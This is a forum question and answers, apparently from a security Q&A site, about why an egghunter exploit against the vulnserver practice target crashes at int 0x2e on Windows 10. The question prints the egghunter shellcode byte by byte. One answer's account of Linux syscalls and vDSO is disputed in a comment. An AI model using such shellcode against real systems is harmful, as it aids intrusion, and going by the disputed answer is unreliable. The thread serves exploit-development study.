While trying to exploit vulnserver (GMON), on Windows 10, using an egghunter, the program crashes in the instruction int 0x2E of the egghunter. The exploit works if I use jumps.

Does someone know if there is any issue or protection with the int 0x2E and int 0x80 instructions on Windows 10?

Egghunter code:

egghunter = ""
egghunter += "\x66\x81\xCA\xFF\x0F" # or dx, 0x0fff
egghunter += "\x42"                 # inc edx
egghunter += "\x52"                 # push edx
egghunter += "\x6A\x02"             # push 0x2
egghunter += "\x58"                 # pop eax
egghunter += "\xCD\x2E"             # int 0x2e
egghunter += "\x3C\x05"             # cmp al, 0x5
egghunter += "\x5A"                 # pop edx
egghunter += "\x74\xEF"             # jz 0x0
egghunter += "\xB8\x6e\x6f\x70\x65" # mov eax, 0x6e6f7065
egghunter += "\x8B\xFA"             # mov edi,edx
egghunter += "\xAF"                 # scasd
egghunter += "\x75\xEA"             # jnz 0x5
egghunter += "\xAF"                 # scasd
egghunter += "\x75\xE7"             # jnz 0x5
egghunter += "\xFF\xE7"             # jmp edi

2 Answers 2


You have to jump int 0x2E, because it only worked in older versions of Microsoft Windows. In 2009 this changed and this system call no longer works for modern operating systems, such as Windows 10.



Interrupts like 0x80 have been deemed 'too slow' for modern processors. The interrupt's raison d'être was a way to move between userland and kernelmode. In Linux, there is a newer method of doing that that is faster that uses SYSENTER and SYSEXIT instuctions and uses a VDSO - Virtual Dynamically linked Shared Object. This allows user processes to access kernel resources without sending an interrupt.

More detailed information can be found at this write-up by Manu Garg

I know your question is about Win10; have only been working with Linux in this area recently, so can only assume that there is a corresponding change in the Windows kernel. Hopefully this will give you a starting point!

  • 4
    -1 vDSO has nothing to do with sysenter or any real syscall (and actually modern systems use the syscall instruction, not sysenter). The vDSO specifically does not involve context switching.
    – forest
    May 22, 2021 at 6:00

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .